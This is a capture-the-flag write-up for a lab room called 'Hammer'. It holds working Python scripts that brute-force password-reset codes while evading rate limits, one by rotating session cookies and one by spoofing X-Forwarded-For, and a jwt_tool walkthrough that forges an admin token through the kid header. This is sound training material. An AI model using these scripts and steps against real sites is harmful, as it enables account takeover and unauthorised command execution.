Hammer
Use your exploitation skills to bypass authentication mechanisms on a website and get RCE.
Room
- Title: hammerv1.32
- Name: Hammer
- Description: Use your exploitation skills to bypass authentication mechanisms on a website and get RCE.
Flags
- What is the flag value after logging in to the dashboard?
- What is the content of the file /home/ubuntu/flag.txt?
Author
- Name: m3gakr4nus
- Duration: 2024-08-30 - 2024-08-31
Initial Enumeration
As usual, let’s start with an Nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ sudo nmap -sS -Pn -v -p- -T4 -A 10.10.84.80
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0b:c0:a0:e1:83:08:61:e7:45:87:98:c3:88:73:cb:0e (RSA)
| 256 23:6b:88:84:9f:a1:6a:cb:cf:a7:66:e9:67:a7:a4:c6 (ECDSA)
|_ 256 2a:68:72:31:2e:50:d4:84:08:a1:bc:31:4a:ee:9f:47 (ED25519)
1337/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Login
It appears that a webserver is running on a non-standard port 1337:
We are faced with a login page, let’s look at the source code:
We learn that the directory naming convention is hmr_<directory name>
So, to enumerate directories, I will use wfuzz
for this job.
Directory Enumeration
1
2
3
4
5
6
7
8
9
10
$ wfuzz -u "http://10.10.84.80:1337/hmr_FUZZ" -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -c --hc 404
...
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000016: 301 9 L 28 W 322 Ch "images"
000000550: 301 9 L 28 W 319 Ch "css"
000000953: 301 9 L 28 W 318 Ch "js"
000002271: 301 9 L 28 W 320 Ch "logs"
The most interesting directory is hmr_logs
. Let’s navigate to it. We see that directory listing is enabled and that there is file called error.logs
in this directory.
After further inspection of the file, we learn about a valid user called tester@hammer.thm
- We also learn that the domain name is
hammer.thm
and we can add it to our/etc/hosts
There is an Information Disclosure vulnerability on the
/reset_password.php
page.
- It basically tells you if the entered email address exists or not
- It is easy to enumerate users with
wfuzz
for exampleThis room however did not have any other user!
Flag 1
We have the ability to reset tester@hammer.com
’s password from /reset_password.php
However, we are required to enter a 4-digit code within the provided time to proceed.
This should be easy to brute force with Burp’s Intruder. But unfortunately for us, there is rate-limiting in place.
There are actually two ways to bypass this rate-limit. There is an intended way and there is how I bypassed it. Let’s first see how I did it, and then I’ll show you how you can bypass it with the intented way.
Rate-Limit Bypass
I was stuck at this point and was trying different things. I thought to myself, what if the code doesn’t change when you make new password-reset requests? This would certainly make it easy to bypass the rate-limit like so:
- We can make an initial request with a random
PHPSESSID
to resettester@hammer.thm
’s password. - We use the same
PHPSESSID
to try to brute-force the 4-digit code 3 times or so - Then we make another reset-password request with a new
PHPSESSID
- We then use this new
PHPSESSID
to brute-force the 4-digit code 3 times or so - We continue this cycle until the 4 digit code is found.
To save time, I used the help of our good friend ChatGPT to write me a python script to achieve this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
# Set the initial counter value
counter = 0
# URL to which the requests will be made
url = "http://hammer.thm:1337/reset_password.php"
# Loop through all possible recovery codes from 1111 to 9999
for digit in range(1111, 10000, 3):
# Prepare the session cookie with the current counter
cookies = {'PHPSESSID': str(counter)}
# First POST request with the email
data = {'email': 'tester@hammer.thm'}
response = requests.post(url, cookies=cookies, data=data)
print(f"Request 1 with counter={counter}, response={response.status_code}")
# Make 3 POST requests with the incremented recovery code
for i in range(3):
current_digit = digit + i
data = {'recovery_code': str(current_digit), 's': '200'}
response = requests.post(url, cookies=cookies, data=data)
print(f"Recovery Request with digit={current_digit}, counter={counter}, response={response.status_code}")
# Check if the response does not contain 'Invalid or expired recovery code!'
if "Invalid or expired recovery code!" not in response.text:
print(f"Success! Valid request found with digit={current_digit} and counter={counter}")
print(f"Response content: {response.text}")
# Exit the loop if a valid code is found
exit()
# Increment the counter after the three requests
counter += 1
And after entering the 4-digit code, we are able to reset the password.
Rate-Limit Bypass (Intended way)
When you are brute-forcing the password, the server keeps decreasing the Rate-Limit-Pending
header:
If you add a X-Forwarded-For
header in your POST request, the Rate-Limit-Pending
will be reset.
Each IP address that you use in your X-Forwarded-For
header, will be valid for about 10 tries.
- So now all we have to do, is come up with a script that keeps changing the IP address in the
X-Forwarded-For
header after every 9 tries or so.
Again, we can ask ChatGPT for help ;)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests
import random
# Define the URL
url = "http://hammer.thm:1337/reset_password.php"
# Function to generate a random IP address in the 127.x.x.x range
def generate_random_ip(used_ips):
while True:
ip = f"127.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(1, 255)}"
if ip not in used_ips:
used_ips.add(ip)
return ip
# Set to keep track of used IPs
used_ips = set()
# Create a session object
session = requests.Session()
# Make the initial POST request with the email
initial_data = {'email': 'tester@hammer.thm'}
initial_response = session.post(url, data=initial_data)
print(f"Initial request response: {initial_response.status_code}")
# Start guessing the 4-digit code from 1111 to 9999
for i, digit in enumerate(range(1111, 10000)):
# After every 9 requests, generate a new random IP that hasn't been used
if i % 9 == 0:
ip_address = generate_random_ip(used_ips)
# Prepare the headers with the current IP
headers = {'X-Forwarded-For': ip_address}
# Prepare the data for the POST request
data = {'recovery_code': str(digit), 's': '200'}
# Retry loop for handling timeouts
while True:
try:
# Make the POST request with the recovery code and custom headers
response = session.post(url, data=data, headers=headers, timeout=10)
print(f"Attempt {i+1}, Code: {digit}, IP: {ip_address}, Response: {response.status_code}")
# Check if the response indicates a successful guess
if "Invalid or expired recovery code!" not in response.text:
print(f"Success! The correct code is {digit}.")
exit()
# Exit the retry loop if the request is successful
break
except requests.exceptions.Timeout:
print(f"Timeout encountered on attempt {i+1}, retrying...")
This code will use a random 127.x.x.x IP address as the X-Forwarded-For
header after 9 tries and makes sure that it doesn’t re-use any IP.
It might take a few tries with this method. I had to run the code multiple times for it to work.
Let’s set the password to something simple like tester
and try to log in.
Once we login, we see our first flag.
- We can also see that our role which is user
- The only command that we are allowed to run is
ls
- The file
188ade1.key
is interesting - We automatically logout after 10 seconds or so
Flag 2
By inspecting the source code, we see that a client-side script is running and logging us out after 10 seconds.
We can simply intercept this page within Burp and comment-out the line which redirect us to logout.php
After inspecting the source code, we also learn how our commands are being communicated with the server:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$(document).ready(function() {
$('#submitCommand').click(function() {
var command = $('#command').val();
var jwtToken = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzI1MjE0MDc0LCJleHAiOjE3MjUyMTc2NzQsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.F9cMQWLXA68pD7ouNbg7DEroxENwPEXf9U9qlx1G7cc';
// Make an AJAX call to the server to execute the command
$.ajax({
url: 'execute_command.php',
method: 'POST',
data: JSON.stringify({ command: command }),
contentType: 'application/json',
headers: {
'Authorization': 'Bearer ' + jwtToken
},
success: function(response) {
$('#commandOutput').text(response.output || response.error);
},
error: function() {
$('#commandOutput').text('Error executing command.');
}
});
});
});
JWT Token - Examination
Let’s use a tool called jwt_token.py
to examine the token.
The tool can be found here: https://github.com/ticarpi/jwt_tool
1
$ jwt_tool.py 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzI1MjE0MDc0LCJleHAiOjE3MjUyMTc2NzQsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.F9cMQWLXA68pD7ouNbg7DEroxENwPEXf9U9qlx1G7cc'
JWT Token Manipulation - KID Attack
The most interesting thing that caught my eye, was the kid
header inside the token:
The kid value indicates what key was used to sign the JWT. For a symmetric key the kid could be used to look up a value in a secrets vault. For an asymmetric signing algorithm, this value lets the consumer of a JWT look up the correct public key corresponding to the private key which signed this JWT. Processing this value correctly is critical to signature verification and the integrity of the JWT payload.
Source: https://fusionauth.io/articles/tokens/jwt-components-explained
This is when I remembered the 188ade1.key
file and then it clicked.
All we have to do now is manipulate the token so that we change the role from user
to admin
and change the kid
header to point to /var/www/html/188ade1.key
.
Once we do that we can download the 188ade1.key
file and sign our token with it. Once we send a request, the server will check the kid
header inside our token and use the /var/www/html/188ade1.key
file to verify the authenticity of our token. Since the signitures will match, we will run commands as admin.
- Download the
188ade1.key
file:
1
$ wget http://hammer.thm:1337/188ade1.key
- Manipulate our token:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
$ jwt_took.py -T 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzI1MjE0MDc0LCJleHAiOjE3MjUyMTc2NzQsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.F9cMQWLXA68pD7ouNbg7DEroxENwPEXf9U9qlx1G7cc'
...
Token header values:
[1] typ = "JWT"
[2] alg = "HS256"
[3] kid = "/var/www/mykey.key"
[4] *ADD A VALUE*
[5] *DELETE A VALUE*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 3
Current value of kid is: /var/www/mykey.key
Please enter new value and hit ENTER
> /var/www/html/188ade1.key
...
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
Token payload values:
...
[5] data = JSON object:
[+] user_id = 1
[+] email = "tester@hammer.thm"
[+] role = "user"
...
Please select a field number:
(or 0 to Continue)
> 5
Please select a sub-field number for the data claim:
(or 0 to Continue)
[1] user_id = 1
[2] email = tester@hammer.thm
[3] role = user
...
> 3
Current value of role is: user
Please enter new value and hit ENTER
> admin
...
[0] Continue to next step
> 0
...
[0] Continue to next step
> 0
Signature unchanged - no signing method specified (-S or -X)
jwttool_9c6531ec0a569612bae8d8f0ddc91457 - Tampered token:
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L2h0bWwvMTg4YWRlMS5rZXkifQ.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzI1MjE0MDc0LCJleHAiOjE3MjUyMTc2NzQsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJhZG1pbiJ9fQ.F9cMQWLXA68pD7ouNbg7DEroxENwPEXf9U9qlx1G7cc
- Now we can grab this new token and sign it with the
188ade1.key
file
1
2
3
4
5
6
$ jwt_tool.py -S hs256 -k ./188ade1.key 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L2h0bWwvMTg4YWRlMS5rZXkifQ.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzI1MjE0MDc0LCJleHAiOjE3MjUyMTc2NzQsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJhZG1pbiJ9fQ.F9cMQWLXA68pD7ouNbg7DEroxENwPEXf9U9qlx1G7cc'
...
jwttool_dcebbc1ad8392964658d8f3881d01c74 - Tampered token - HMAC Signing:
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L2h0bWwvMTg4YWRlMS5rZXkifQ.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzI1MjE0MDc0LCJleHAiOjE3MjUyMTc2NzQsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJhZG1pbiJ9fQ.gbonli7DyhtjqeYcmQE3bsRCaVmDKBTzDhLEOpeMl9w
Running commands as admin
Let’s replace the token in the Authorization
header with our newly generated and signed token and see if we can run any command other than ls
Let’s try to read the contents of /home/ubuntu/flag.txt
I originally got a reverse shell on the system and tried escalating privileges to root by I was unsuccessfull.
You will find the mysql database credentials inside
/var/www/html/config.php
and then login from phpmyadmin but there isn’t anything interesting there.
Outro
Many thanks to the creator of this room 1337rce
- Since I wasn’t aware of
X-Forwarded-For
rate-limit bypass method, I had to get creative and come up with my own way to bypass it. - I also learned something new from this room which was the
JWT Kid Attack
Overall, an amazing and informative room.
- m3gakr4nus